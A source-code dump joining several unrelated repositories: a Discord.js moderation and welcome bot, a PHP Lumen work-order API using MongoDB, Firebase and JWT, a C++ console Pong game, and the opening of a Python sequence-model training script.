client.on("guildMemberAdd", async member => {
let Channel = await db.fetch(`Welcome_${member.guild.id}_Channel`);
if (!Channel) return;
let Message = await db.fetch(`Welcome_${member.guild.id}_Msg`);
if (!Message) Message = ``;
if (member.user.username.length > 25) member.user.username = member.user.username.slice(0, 25) + "...";
if (member.guild.name.length > 15) member.guild.name = member.guild.name.slice(0, 15) + "...";
let Msg = Message.toLowerCase().replace("<servername>", member.guild.name).replace("<membername>", member.user.username).replace("<membermention>", `<@${member.user.id}>, <@${member.id}>!`);
let Welcomed = new canvas.Welcome();
let Image = await Welcomed
.setUsername(member.user.username)
.setDiscriminator(member.user.discriminator)
.setGuildName(member.guild.name)
.setAvatar(member.user.displayAvatarURL({ dynamic: false, format: "jpg" }))
.setMemberCount(member.guild.memberCount)
.setBackground(WelcomeImage || "https://tinyurl.com/yj5zg5jq")
.toAttachment();
let Attachment = new Discord.MessageAttachment(Image.toBuffer(), "Welcome.png");
return client.channels.cache.get(Channel).send(Msg, Attachment, );
});
client.on("guildMemberRemove", async member => {
let Channel = await db.fetch(`Leave_${member.guild.id}_Channel`);
if (!Channel) return;
let Message = await db.fetch(`Leave_${member.guild.id}_Msg`);
if (!Message) Message = ``;
if (member.user.username.length > 25) member.user.username = member.user.username.slice(0, 25) + "...";
if (member.guild.name.length > 15) member.guild.name = member.guild.name.slice(0, 15) + "...";
let Msg = Message.toLowerCase().replace("<servername>", member.guild.name).replace("<membername>", member.user.username).replace("<membermention>", `<@${member.user.id}>`);
let Leaved = new canvas.Goodbye();
let Image = await Leaved
.setUsername(member.user.username)
.setDiscriminator(member.user.discriminator)
.setGuildName(member.guild.name)
.setAvatar(member.user.displayAvatarURL({ dynamic: false, format: "jpg" }))
.setMemberCount(member.guild.memberCount)
.setBackground(LeaveImage || "https://tinyurl.com/yj5zg5jq")
.toAttachment();
let Attachment = new Discord.MessageAttachment(Image.toBuffer(), "Welcome.png");
return client.channels.cache.get(Channel).send(Msg, Attachment);
});
client.login(process.env.TOKEN);<file_sep>const discord = require("discord.js");
module.exports = {
name: "deafenall",
aliases: ['deafenall','de','deafall'],
description: "Deafen everyone",
run: async(client, message, args) => {
if (!message.member.hasPermission('MUTE_MEMBERS')) return message.reply("You do not have the permission to do that!");
if (!message.member.voice.channel) return message.reply("You are not in a voice channel!");
let channel = message.member.voice.channel;
for (let memberi of channel.members) {
await memberi[1].voice.setDeaf(true);
}
message.channel.send("Deafened all!").then(async (msg) => {
//DELETE ALL MESSAGES WITH THE MESSAGE ID IN 3 SECONDS
await message.channel.messages.fetch(msg.id).then(msg => msg.delete({ timeout: 3000 }));
});
//DELETE ALL MESSAGES WITH THE MESSAGE ID IN 1 SECONDS
await message.channel.messages.fetch(message.id).then(msg => msg.delete({ timeout: 1000 }));
}
}<file_sep>Hello shout out to
BunnyPro#5045
HOW TO START!?
1.GO TO DEVELOPER PORTLE [https://discord.com/developers/applications]()
2.CREATE APPLICATION AND GET TOKEN FROM THERE
3.Fill value in 'config.json'
<file_sep>const { MessageEmbed } = require('discord.js');
const moment = require('moment');
const filterLevels = {
DISABLED: 'On',
MEMBERS_WITHOUT_ROLES: 'No Role',
ALL_MEMBERS: 'Everyone'
};
const verificationLevels = {
NONE: 'None',
LOW: 'Low',
MEDIUM: 'Medium',
HIGH: '(╯°□°)╯︵ ┻━┻',
VERY_HIGH: '┻━┻ ミヽ(ಠ益ಠ)ノ彡┻━┻'
};
module.exports = {
name: "serverinfo",
aliases: ["server info", "s info", "sinfo"],
description: "<a:tick:811476337537449985> Get info about your server <a:tick:811476337537449985>",
usage: "serverinfo",
run: (client, message, args) => {
const roles = message.guild.roles.cache.sort((a, b) => b.position - a.position).map(role => role.toString());
const channels = message.guild.channels.cache;
const emojis = message.guild.emojis.cache;
const members = message.guild.members.cache;
const embed = new MessageEmbed()
.setDescription(`**Guild information for __${message.guild.name}__**`)
.setColor(`Color`)
.setThumbnail(message.guild.iconURL({ dynamic: true }))
.addField('General', [
`**❯ <a:tick:811476337537449985> Name:** ${message.guild.name}`,
`**❯ <a:tick:811476337537449985> ID:** ${message.guild.id}`,
`**❯ <a:tick:811476337537449985> Owner:** ${message.guild.owner.user.tag} (${message.guild.ownerID})`,
`**❯ <a:tick:811476337537449985> Boost Tier:** ${message.guild.premiumTier ? `Tier ${message.guild.premiumTier}` : 'None'}`,
`**❯ <a:tick:811476337537449985> Explicit Filter:** ${filterLevels[message.guild.explicitContentFilter]}`,
`**❯ <a:tick:811476337537449985> Verification Level:** ${verificationLevels[message.guild.verificationLevel]}`,
'\u200b'
])
.addField('Statistics', [
`**❯ <a:tick:811476337537449985> Role Count:** ${roles.length}`,
`**❯ <a:tick:811476337537449985> Emoji Count:** ${emojis.size}`,
`**❯ <a:tick:811476337537449985> Regular Emoji Count:** ${emojis.filter(emoji => !emoji.animated).size}`,
`**❯ <a:tick:811476337537449985> Animated Emoji Count:** ${emojis.filter(emoji => emoji.animated).size}`,
`**❯ <a:tick:811476337537449985> Text Channels:** ${channels.filter(channel => channel.type === 'text').size}`,
`**❯ <a:tick:811476337537449985> Voice Channels:** ${channels.filter(channel => channel.type === 'voice').size}`,
`**❯ <a:tick:811476337537449985> Boost Count:** ${message.guild.premiumSubscriptionCount || '0'}`,
'\u200b'
])
.addField('Presence', [
`**❯ <a:tick:811476337537449985> Online:** ${members.filter(member => member.presence.status === 'online').size}`,
`**❯ <a:tick:811476337537449985> Idle:** ${members.filter(member => member.presence.status === 'idle').size}`,
`**❯ <a:tick:811476337537449985> Do Not Disturb:** ${members.filter(member => member.presence.status === 'dnd').size}`,
`**❯ <a:tick:811476337537449985> Offline:** ${members.filter(member => member.presence.status === 'offline').size}`,
'\u200b'
])
.addField('Server Count', [
`**❯ <a:tick:811476337537449985> Total:** ${message.guild.memberCount}`,
`**❯ <a:tick:811476337537449985> Members:** ${message.guild.members.cache.filter(m => !m.user.bot).size}`,
`**❯ <a:tick:811476337537449985> Bots:** ${message.guild.members.cache.filter(m => m.user.bot).size}`,
'\u200b'
])
.setTimestamp();
message.channel.send(embed);
}
};
<file_sep>const {Client, Message, MessageEmbed} = require('discord.js')
module.exports = {
name: "bpurge",
aliases: ["botclear", "botpurge"],
description: "Purges Bot Messages",
run: async (client, message, args, bot) => {
try {
message.channel.messages.fetch().then(messages => {
const botMessages = messages.filter(msg => msg.author.bot);
message.channel.bulkDelete(botMessages);
});
} catch (err) {
return;
}
message.delete();
}
}<file_sep>
const Discord = require("discord.js");
module.exports = {
name: "forceban",
aliases: ["idban","ban"],
description: "Ban someone from the server with ID!",
usage: "forceban <user-id>",
run : async (client, message, args) => {
if (!message.member.hasPermission("BAN_MEMBERS"))
return message.reply("Insufficient Authority!");
let nrcos_user = args[0];
if (isNaN(nrcos_user)) return message.reply("You must enter the correct ID!");
await message.guild.members.ban(nrcos_user);
return message.reply(`\`${nrcos_user}\`has been banned from the server!`);
}
} | aab95d7a66e52852c05a5295456bc79feb480a3c | [
"JavaScript",
"Markdown"
] | 7 | JavaScript | rihannaquinn/LavaBot | 3f59e26db4282c73ae422b5d30f430127d5a05c7 | c7ceae3eebf9e9d4fceb1ba0cdd2de9a554a786d |
refs/heads/main | <repo_name>mtaufiqhidayat03/work-order-api<file_sep>/app/Http/Middleware/RateLimitAccess.php
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Http\Response;
use Illuminate\Cache\RateLimiter;
use Illuminate\Routing\Middleware\ThrottleRequests;
class RateLimitAccess extends ThrottleRequests
{
protected function resolveRequestSignature($request)
{
return sha1(
$request->method() .
'|' . $request->server('SERVER_NAME') .
'|' . $request->path() .
'|' . $request->ip()
);
}
}
<file_sep>/tests/WorkOrderTest.php
<?php
class WorkOrderTest extends TestCase
{
public function testShouldReturnAllWorkOrder() {
$this->withoutMiddleware();
$this->get('/api-v1/show-workorder',[]);
$this->seeStatusCode(200);
$this->seeJsonStructure([
'data' => ['*' =>
[
'_id',
'woid',
'wo_name',
'prodid',
'customerid',
'prod_start_date'
]
]
]);
}
public function testShouldReturnWorkOrder() {
$this->withoutMiddleware();
$this->get("/api-v1/get-workorder/365253820",[]);
$this->seeStatusCode(200);
$this->seeJsonStructure([
'data' => ['*' =>
[
'_id',
'woid',
'wo_name',
'prodid',
'customerid',
'prod_start_date'
]
]
]);
}
public function testShouldCreateWorkOrder()
{
$this->withoutMiddleware();
$parameters = [
'woid' => '999',
'wo_name' => '999test',
'prodid' => '999',
'customerid' => 'cs999',
'prod_start_date' => '2021-02-01 01:01:01'
];
$this->post("/api-v1/save-workorder", $parameters, []);
$this->seeStatusCode(200);
}
}
<file_sep>/tests/TestCase.php
<?php
use Laravel\Lumen\Testing\TestCase as BaseTestCase;
abstract class TestCase extends BaseTestCase
{
/**
* Creates the application.
*
* @return \Laravel\Lumen\Application
*/
public function createApplication()
{
return require __DIR__.'/../bootstrap/app.php';
}
public function withoutMiddleware($middleware = null)
{
if (is_null($middleware)) {
$this->app->instance('middleware.disable', true);
return $this;
}
foreach ((array) $middleware as $abstract) {
$this->app->instance($abstract, new FakeMiddleware());
}
return $this;
}
}
<file_sep>/app/Http/Controllers/Controller.php
<?php
namespace App\Http\Controllers;
use Illuminate\Support\Carbon;
use Laravel\Lumen\Routing\Controller as BaseController;
use Illuminate\Support\Facades\Auth;
class Controller extends BaseController
{
protected function replyWithToken($token)
{
return response()->json([
'token_type' => 'Bearer',
'token' => $token,
'expires_in_minutes' => Auth::factory()->getTTL() * 60
], 200);
}
protected function toTimestamp($date)
{
return Carbon::parse($date)->timestamp;
}
}
<file_sep>/app/Models/Users.php
<?php
namespace App\Models;
use Illuminate\Auth\Authenticatable;
use Laravel\Lumen\Auth\Authorizable;
use Jenssegers\Mongodb\Eloquent\Model as Eloquent;
use Illuminate\Contracts\Auth\Authenticatable as AuthenticatableContract;
use Illuminate\Contracts\Auth\Access\Authorizable as AuthorizableContract;
use Tymon\JWTAuth\Contracts\JWTSubject;
class Users extends Eloquent implements AuthenticatableContract, AuthorizableContract, JWTSubject
{
use Authenticatable, Authorizable;
protected $connection = 'mongodb';
protected $collection = 'users';
protected $fillable = [
'name', 'username', 'role'
];
protected $hidden = [
'password',
];
protected $primaryKey ='username';
public function getJWTIdentifier()
{
return $this->getKey();
}
public function getJWTCustomClaims()
{
return [];
}
}
<file_sep>/app/Http/Controllers/CloudFirestoreController.php
<?php
namespace App\Http\Controllers;
use Google\Cloud\Firestore\FirestoreClient;
class CloudFirestoreController
{
private $firestore;
public function __construct()
{
$this->middleware('auth');
(new Factory)->withServiceAccount(__DIR__ . '/FirebaseKey.json');
$this->firestore = new FirestoreClient([
'projectId' => 'work-order-api'
]);
}
public function index() {
$collectionReference = $this->firestore->collection('mainsystem');
$documentReference = $collectionReference->document();
}
}
<file_sep>/routes/web.php
<?php
/** @var \Laravel\Lumen\Routing\Router $router */
/*
|--------------------------------------------------------------------------
| Application Routes
|--------------------------------------------------------------------------
|
| Here is where you can register all of the routes for an application.
| It is a breeze. Simply tell Lumen the URIs it should respond to
| and give it the Closure to call when that URI is requested.
|
*/
$router->get('/', function () use ($router) {
return $router->app->version();
});
$router->get('/key', function() {
return \Illuminate\Support\Str::random(32);
});
$router->group(['prefix'=> 'api-v1'], function() use ($router) {
$router->post('sign-in', ['uses' => 'AutenticationController@AuthenticateToken',
'middleware' => 'thorttle:10,1']);
$router->get('show-workorder', ['uses' => 'WorkOrderApiController@index',
'middleware' => 'thorttle:300,1']);
$router->get('get-workorder/{woid}', ['uses' => 'WorkOrderApiController@show',
'middleware' => 'thorttle:500,1']);
$router->post('save-workorder', ['uses' => 'WorkOrderApiController@store',
'middleware' => 'thorttle:100,1']);
$router->post('update-workorder/{woid}', ['uses' => 'WorkOrderApiController@update',
'middleware' => 'thorttle:50,1']);
$router->get('delete-workorder/{woid}', ['uses' => 'WorkOrderApiController@destroy',
'middleware' => 'thorttle:100,1']);
$router->get('show-firebase-wo', ['uses' => 'FirebaseRealtimeController@index',
'middleware' => 'thorttle:300,1']);
$router->get('get-firebase-wo/{uniqueid}', ['uses' => 'FirebaseRealtimeController@show',
'middleware' => 'thorttle:500,1']);
$router->post('save-firebase-wo', ['uses' => 'FirebaseRealtimeController@store',
'middleware' => 'thorttle:100,1']);
$router->post('update-firebase-wo/{uniqueid}', ['uses' => 'FirebaseRealtimeController@update',
'middleware' => 'thorttle:50,1']);
$router->get('delete-firebase-wo/{uniqueid}', ['uses' => 'FirebaseRealtimeController@destroy',
'middleware' => 'thorttle:100,1']);
});
<file_sep>/app/Http/Controllers/FirebaseRealtimeController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Kreait\Laravel\Firebase\Facades\Firebase;
use Kreait\Firebase\Database;
use Kreait\Firebase\Factory;
use \Validator;
use Illuminate\Support\Carbon;
class FirebaseRealtimeController extends Controller
{
private $database;
public function __construct()
{
$this->middleware('auth');
$factory = (new Factory)->withServiceAccount(__DIR__ . '/FirebaseKey.json')
->withDatabaseUri('https://work-order-api-default-rtdb.firebaseio.com');
$this->database = $factory->createDatabase();
}
public function index()
{
try {
$reference = $this->database->getReference('workorder');
$snapshot = $reference->getSnapshot();
$value = $snapshot->getValue();
return response()->json(['status' => 'OK', 'data' => $value], 200);
} catch (\Exception $e) {
return response()->json(['status' => 'ERR', 'message' => 'Error: ' . $e], 400);
}
}
public function show($uniqueid)
{
try {
$reference = $this->database->getReference('workorder/' . $uniqueid);
$snapshot = $reference->getSnapshot();
$value = $snapshot->getValue();
return response()->json(['status' => 'OK', 'data' => $value], 200);
} catch (\Exception $e) {
return response()->json(['status' => 'ERR', 'message' => 'Error: ' . $e], 400);
}
}
public function store(Request $request)
{
$wo = $request->all();
$validator = Validator::make($wo, [
'woid' => 'required',
'wo_name' => 'required',
'customerid' => 'required',
]);
if ($validator->fails()) {
return response()->json(['status' => 'ERR',
'message' => 'Check all fields, there are not must be empty'], 400);
} else {
try {
$this->database->getReference('workorder/wo_' . strtotime(Carbon::now()))
->set([
'woid' => $wo['woid'],
'wo_name' => $wo['wo_name'],
'customerid' => $wo['customerid']
]);
return response()->json(['status' => 'OK', 'message' => 'Save data succefully'], 200);
} catch (\Exception $e) {
return response()->json(['status' => 'ERR', 'message' => 'Error: ' . $e], 400);
}
}
}
public function destroy($uniqueid)
{
try {
$this->database->getReference('workorder/' . $uniqueid)->remove();
return response()->json(['status' => 'OK', 'message' => 'Delete data succefully'], 200);
} catch (\Exception $e) {
return response()->json(['status' => 'ERR', 'message' => 'Error: ' . $e], 400);
}
}
public function update(Request $request, $uniqueid)
{
$wo = $request->all();
$validator = Validator::make($wo, [
'woid' => 'required',
'wo_name' => 'required',
'customerid' => 'required',
]);
if ($validator->fails()) {
return response()->json(['status' => 'ERR',
'message' => 'Check all fields, there are not must be empty'], 400);
} else {
try {
$this->database->getReference('workorder/' . $uniqueid)
->set([
'woid' => $wo['woid'],
'wo_name' => $wo['wo_name'],
'customerid' => $wo['customerid']
]);
return response()->json(['status' => 'OK', 'message' => 'Update data succefully'], 200);
} catch (\Exception $e) {
return response()->json(['status' => 'ERR', 'message' => 'Error: ' . $e], 400);
}
}
}
}
<file_sep>/app/Http/Controllers/AutenticationController.php
<?php
namespace App\Http\Controllers;
use App\Models\Users;
use Illuminate\Http\Request;
use Illuminate\Validation\ValidationException;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Auth;
class AutenticationController extends Controller
{
public function __construct()
{
}
public function AuthenticateToken(Request $request)
{
$user = Users::where('username', $request->input('username'))->first();
if (!$user) {
return response()->json(['status' => 'ERR', 'message' => 'Username does not exist'],400);
}
if (Hash::check($request->input('password'), $user->password)) {
$credentials = $request->only(['username', 'password']);
if (!$token = Auth::attempt($credentials)) {
return response()->json(['status' => 'ERR',
'message' => 'Unauthorized access. Token is invalid or expired'], 401);
}
$getToken = $this->replyWithToken($token);
$user->api_token = $token;
$user->save();
return $getToken;
} else {
return response()->json(['status' => 'ERR', 'message' => 'Password does not match'],400);
}
}
}
<file_sep>/app/Http/Controllers/WorkOrderApiController.php
<?php
namespace App\Http\Controllers;
use App\Http\Controllers\Controller;
use App\Http\Controllers\AutenticationController;
use Illuminate\Http\Request;
use App\Models\WorkOrder;
use Ramsey\Uuid\Type\Integer;
use \Validator;
use Illuminate\Support\Carbon;
use MongoDB\BSON\UTCDateTime;
class WorkOrderApiController extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
public function index()
{
$data = WorkOrder::all(['woid', 'wo_name', 'prodid', 'customerid', 'prod_start_date']);
if ($data) {
return response()->json(['status' => 'OK', 'data' => $data], 200);
} else {
return response()->json(['status' => 'ERR', 'message' => 'Data is empty'], 404);
}
}
public function show($woid)
{
$data = WorkOrder::where('woid', intval($woid))->get();
if ($data) {
return response()->json(['status' => 'OK', 'data' => $data], 200);
} else {
return response()->json(['status' => 'ERR',
'message' => 'Data which you are looking for can not be found'], 404);
}
}
public function store(Request $request)
{
$data = new WorkOrder();
$wo = $request->all();
$data->woid = intval($wo['woid']);
$data->wo_name = $wo['wo_name'];
$data->prodid = $wo['prodid'];
$data->customerid = $wo['customerid'];
$data->prod_start_date = new UTCDateTime(Carbon::parse($wo['prod_start_date'], 'Asia/Jakarta'));
$data->created_at = new UTCDateTime(Carbon::now());
$validator = Validator::make($wo, [
'woid' => 'required',
'wo_name' => 'required',
'prodid' => 'required',
'customerid' => 'required',
'prod_start_date' => 'required'
]);
if ($validator->fails()) {
return response()->json(['status' => 'ERR',
'message' => 'Check all fields, there are not must be empty'], 400);
} else {
$checkWO = WorkOrder::where('woid', $data->woid)->first();
if (!$checkWO) {
$data->save();
return response()->json(['status' => 'OK', 'message' => 'Save data succefully'], 200);
} else {
return response()->json(['status' => 'ERR', 'message' => 'Error in save data. Duplicate woid is not allowed'], 400);
}
}
}
public function update(Request $request, $woid)
{
$data = WorkOrder::where('woid', intval($woid))->first();
if ($data) {
$wo = $request->all();
$data->wo_name = $wo['wo_name'];
$data->prodid = $wo['prodid'];
$data->customerid = $wo['customerid'];
$data->prod_start_date = new UTCDateTime(Carbon::parse($wo['prod_start_date'], 'Asia/Jakarta'));
$data->updated_at = new UTCDateTime(Carbon::now());
$validator = Validator::make($wo, [
'wo_name' => 'required',
'prodid' => 'required',
'customerid' => 'required',
'prod_start_date' => 'required'
]);
if ($validator->fails()) {
return response()->json(['status' => 'ERR',
'message' => 'Check all fields, there are not must be empty'], 400);
} else {
try {
$data->save();
return response()->json(['status' => 'OK', 'message' => 'Update data successfully'], 200);
} catch
(\Exception $e) {
return response()->json(['status' => 'ERR', 'message' => 'Error: ' . $e]);
}
}
} else {
return response()->json(['status' => 'ERR',
'message' => 'Data which you are looking for can not be found'], 404);
}
}
public function destroy(Request $request, $woid)
{
$data = WorkOrder::where('woid', intval($woid))->first();
if ($data) {
try {
$data->delete();
return response()->json(['status' => 'OK',
'message' => 'Delete data succesfully'], 200);
} catch (\Exception $e) {
return response()->json(['status' => 'ERR', 'message' => 'Error: ' . $e], 400);
}
} else {
return response()->json(['status' => 'ERR',
'message' => 'Data which you are looking for can not be found'], 404);
}
}
}
<file_sep>/app/Models/WorkOrder.php
<?php
namespace App\Models;
use Illuminate\Auth\Authenticatable;
use Laravel\Lumen\Auth\Authorizable;
use Jenssegers\Mongodb\Eloquent\Model as Eloquent;
use Illuminate\Contracts\Auth\Authenticatable as AuthenticatableContract;
use Illuminate\Contracts\Auth\Access\Authorizable as AuthorizableContract;
use Tymon\JWTAuth\Contracts\JWTSubject;
class WorkOrder extends Eloquent implements AuthenticatableContract, AuthorizableContract, JWTSubject
{
use Authenticatable, Authorizable;
protected $connection = 'mongodb';
protected $collection = 'workorder';
protected $primaryKey = 'woid';
public $timestamps = false;
public function getJWTIdentifier()
{
return $this->getKey();
}
public function getJWTCustomClaims()
{
return [];
}
}
| d9f40e80000467909b9fb30bc8e9e25ccda780ff | [
"PHP"
] | 11 | PHP | mtaufiqhidayat03/work-order-api | 756e188eada407e08da90eff61c739bc3ba8736b | a52bed9b35dd4328f90fba8faf6e1a240dec0d8d |
refs/heads/main | <repo_name>PveOnly/BE-C-Pong-Game<file_sep>/headers/Balle.h
#ifndef BALLE_H
#define BALLE_H
#include "Raquette.h"
#include <iostream>
#include <vector>
#include <algorithm>
#include <numeric>
using namespace std;
class Balle
{
public:
int vitesse;
int x_init;
int y_init;
int x_b;
int y_b;
//public:
//Constructeur
Balle(int x,int y);
// Méthodes
int collision_terrain(int x_t,int y_t);
void collision_raquette(Raquette &p1,Raquette &p2);//p1=en haut p2=en bas
void Set_Pos_Balle();
};
#endif<file_sep>/README.md
"# BE-C-Pong-Game"
<file_sep>/headers/Raquette.h
#ifndef RAQUETTE_H
#define RAQUETTE_H
#include <vector>
#include <iostream>
#include <conio.h>
using namespace std;
class Raquette
{
public:
int x_init;
int y_init;
int taille_raq; //raquette xcentre-taille xcentre+taille;
int x_centre;
int y_centre;
//public:
//Constructeur
Raquette(int x,int y,int taille);
friend class Balle;
// Méthodes
void IA_Raquette(int b,int x_t);
void Control_Raq(int x_b,int x_t);
void test();
};
#endif<file_sep>/src/Terrain.cpp
#include "Terrain.h"
Terrain::Terrain(int x,int y){
x_ter=x;
y_ter=y;
b=new Balle(x_ter/2,y_ter/2);//met la balle au millieu
p1=new Raquette(x_ter/2,1,2);//crée une raquette en haut au millieu de taille 2 ------->x
p2=new Raquette(x_ter/2,y_ter-1,2);//crée une raquette en bas au millieu de taille 2
}
Terrain::~Terrain(){
delete b;
delete p1;
delete p2;
}
void Terrain::init()
{
test[0]=new thread(&Raquette::Control_Raq,p1,b->x_b,x_ter);
}
void Terrain::play()
{
b->collision_terrain(x_ter,y_ter);
b->collision_raquette(*p1,*p2);
p2->IA_Raquette(b->x_b,x_ter);
b->Set_Pos_Balle();
//p1->Control_Raq(b->x_b,x_ter);
}
/*
void Terrain::draw()
{
system("CLS");
for (int y_i=0; y_i<=y_ter;y_i++)
{
for (int x_i=0; x_i<=x_ter;x_i++)
{
if(y_i==0 or x_i==0 or y_i==y_ter or x_i==x_ter) //Draw terrain
{
cout <<"#";
}
else
{
if(x_i==b->x_b and y_i==b->y_b) //Draw Balle
{
cout<<"O";
}
else
{
if(x_i==((p1->x_centre)-p1->taille_raq) and y_i==p1->y_centre)
{
for(int i=0;i<(1+2*p1->taille_raq);i++)
{
cout<<"U";
}
x_i=x_i+2*p1->taille_raq;
}
else if(x_i==(p2->x_centre)-p2->taille_raq and y_i==p2->y_centre)
{
for(int i=0;i<(1+2*p2->taille_raq);i++)
{
cout<<"U";
}
x_i=x_i+2*p2->taille_raq;
}
else
{
cout<<" ";
}
}
}
}
cout <<endl;
}
}
*/
void Terrain::draw()
{
system("CLS");
char tab[y_ter][x_ter+2]={{0}};
/*
char tab[2][5] = {
{'5','2','3','4','\n'}, //Ne pas mettre de \0 car sinon le print prendre que le premier
{'5','6','7','8','\n'}
};*/
int y_i=0;
int x_i=0;
for (y_i=0; y_i<=y_ter;y_i++)
{
for (x_i=0; x_i<=x_ter+1;x_i++)
{
tab[y_i][x_i]='0';
//cout<<tab[y_i][x_i];
}
}
for (y_i=0; y_i<=y_ter;y_i++)
{
for (x_i=0; x_i<=x_ter;x_i++)
{
if(y_i==0 or x_i==0 or y_i==y_ter or x_i==x_ter) //Draw terrain
{
tab[y_i][x_i]='#';
}
else
{
if(x_i==b->x_b and y_i==b->y_b) //Draw Balle
{
tab[y_i][x_i]='O';
}
else
{
if(x_i==((p1->x_centre)-p1->taille_raq) and y_i==p1->y_centre)
{
for(int i=0;i<(1+2*p1->taille_raq);i++)
{
tab[y_i][x_i]='U';
x_i++;
}
x_i--;//il faut counter le x_i++ de fin car sinon on va sauter un indice
}
else if(x_i==(p2->x_centre)-p2->taille_raq and y_i==p2->y_centre)
{
for(int i=0;i<(1+2*p2->taille_raq);i++)
{
tab[y_i][x_i]='U';
x_i++;
}
x_i--;
}
else
{
tab[y_i][x_i]=' ';
}
}
}
}
tab[y_i][x_i]='\n';
}
/*
for (y_i=0; y_i<=y_ter;y_i++)
{
for (x_i=0; x_i<=x_ter+1;x_i++)
{
//tab[y_i][x_i]='0';
cout<<tab[y_i][x_i];
}
}*/
cout<<tab[0];
}<file_sep>/headers/Terrain.h
#ifndef TERRAIN_H
#define TERRAIN_H
#include <stdlib.h>
#include "Balle.h"
#include "Raquette.h"
#include <iostream>
#include <thread>
using namespace std;
class Terrain
{
private:
int x_ter;
int y_ter;
thread *test[2];
Balle *b;
Raquette *p1;
Raquette *p2;
public:
//Constructeur
Terrain(int x,int y);
~Terrain();
void draw();
void play();
void init();
friend class Balle;
// Méthodes
};
#endif
<file_sep>/src/Balle.cpp
#include "Balle.h"
enum direction {Haut=1, Haut_D=2, Droite=3, Bas_D=4,Bas=5,Bas_G=6,Gauche=7,Haut_G=8,Stop=9} dir;
Balle::Balle(int x,int y){
dir=Bas_G;
x_init=x;
y_init=y;
x_b=x_init;
y_b=y_init;
vitesse=1;//Pas vraiment la vitesse(Laisser à 1 je pense)
}
int Balle::collision_terrain(int x_t,int y_t)
{
int scenar=0;
if(this->x_b<=1 or x_b>=x_t)
{
//change ball direction en fonction de la direction de la balle
if(dir==Haut_G)
{
dir=Haut_D;
}
else if(dir==Haut_D)
{
dir=Haut_G;
}
else if(dir==Bas_G)
{
dir=Bas_D;
}
else if(dir==Bas_D)
{
dir=Bas_G;
}
scenar=0;
}
if(this->y_b<=0)
{
//player 1 perds
scenar=1;
}
if(this->y_b>=y_t)
{
//player 2 perds
scenar=2;
}
return(scenar);//Pas de collision
}
void Balle::collision_raquette(Raquette &p1,Raquette &p2)//p1=en haut p2=en bas
{
int taille=p1.taille_raq; //taille centre+-taille (2 raquette meme taille)
int nbr_elt=1+2*taille;
//On sait que la longueur du raquette est impair (1 +2*taille) donc l'indice du millieu est entier
int middle_ind=(nbr_elt-1)/2;
std::vector<int> v1(nbr_elt);
std::vector<int> v2(nbr_elt);
std::iota(v1.begin(), v1.end(), p1.x_centre-taille);//array pos x de la raquette du joueur 1
std::iota(v2.begin(), v2.end(), p2.x_centre-taille);//array pos x de la raquette du joueur 2
//On regarde si pos_balle_x est sur la raquette et pos_balle_y est sur raquette
std::vector<int>::iterator it;
it = find(v1.begin(), v1.end(), x_b);
if(it != v1.end() and y_b==p1.y_centre)
{
int ind1 = it-v1.begin();
if(ind1==middle_ind)
{
dir=Haut;
}
else if(ind1<middle_ind)
{
dir=Haut_G;
}
else if(ind1>middle_ind)
{
dir=Haut_D;
}
}
it = find(v2.begin(), v2.end(), x_b);
if(it != v2.end() and y_b==p2.y_centre)
{
int ind2 = it-v2.begin();
if(ind2==middle_ind)
{
dir=Bas;
}
else if(ind2<middle_ind)
{
dir=Bas_G;
}
else if(ind2>middle_ind)
{
dir=Bas_D;
}
}
}
void Balle::Set_Pos_Balle()
{
switch(dir)
{
case Haut:
x_b=x_b;
y_b=y_b+vitesse;
break;
case Haut_D:
x_b=x_b+vitesse;
y_b=y_b+vitesse;
break;
case Droite:
x_b=x_b+vitesse;
y_b=y_b;
break;
case Bas_D:
x_b=x_b+vitesse;
y_b=y_b-vitesse;
break;
case Bas:
x_b=x_b;
y_b=y_b-vitesse;
break;
case Bas_G:
x_b=x_b-vitesse;
y_b=y_b-vitesse;
break;
case Gauche:
x_b=x_b-vitesse;
y_b=y_b;
break;
case Haut_G:
x_b=x_b-vitesse;
y_b=y_b+vitesse;
break;
case Stop:
x_b=x_b;
y_b=y_b;
break;
}
}
<file_sep>/src/Raquette.cpp
#include "Raquette.h"
#include <iostream>
#include <mutex>
//Constructeur
Raquette::Raquette(int x,int y,int taille){
x_init=x;
y_init=y;
x_centre=x_init;
y_centre=y_init;
taille_raq=taille;
}
void Raquette::IA_Raquette(int x_b,int x_t)
{
if(x_b>this->taille_raq and x_b<x_t-this->taille_raq)
{
this->x_centre=x_b-1;
}
if (this->x_centre<=this->taille_raq)
{
this->x_centre=this->taille_raq+1;
}
if (this->x_centre>=x_t-this->taille_raq)
{
this->x_centre=x_t-this->taille_raq-1;
}
}
void Raquette::test()
{
cout<<"zal";
}
void Raquette::Control_Raq(int x_b,int x_t)
{
while(1)
{
char input=' ';
input=_getch();
if(input=='q')
{
this->x_centre--;
}
else if(input=='d')
{
this->x_centre++;
}
if (this->x_centre<=this->taille_raq)
{
this->x_centre=this->taille_raq+1;
}
if (this->x_centre>=x_t-this->taille_raq)
{
this->x_centre=x_t-this->taille_raq-1;
}
}
}<file_sep>/src/main.cpp
#include <iostream>
#include "Terrain.h"
#include "Raquette.h"
#include "Balle.h"
using namespace std;
#include <unistd.h>
int main() {
Terrain Ter(2*10,2*20);
Ter.init();
while(1)
{
Ter.play();
Ter.draw();
usleep(1000);
}
return 0;
} | 82fbcc39d2dd0366a1ae01a9d1836014afcc0d07 | [
"Markdown",
"C++"
] | 8 | C++ | PveOnly/BE-C-Pong-Game | c19d13f2034d6cd6313c2e91e00f3bcceec7307a | eabc943cc390b7eecdc9ab91d568c277acd67c3c |
refs/heads/master | <file_sep>import numpy as np
import tensorflow as tf
import os
import re
from learning.data_generators import FixedDataGenerator
from learning.encdec_evaluate import evaluate_with_perplexity
from models.encdec_model import create_training_graph, create_prediction_graph
def train_model(conf, all_data_dir, model_save_dir, warm_start=False):
data_dir = os.path.join(all_data_dir, 'stories')
test_data_dir = os.path.join(all_data_dir, 'test/stories')
vocab_file = os.path.join(all_data_dir, 'vocabulary')
if not os.path.exists(model_save_dir):
os.makedirs(model_save_dir)
model_save_path = os.path.join(
model_save_dir, 'model_{}.pt'.format(conf.to_string()))
data_generator = FixedDataGenerator(
conf.n_batches, conf.input_length, conf.output_length, conf.batch_size,
data_dir, vocab_file, load_all_stories=False, generate_bow=True)
test_data_generator = FixedDataGenerator(
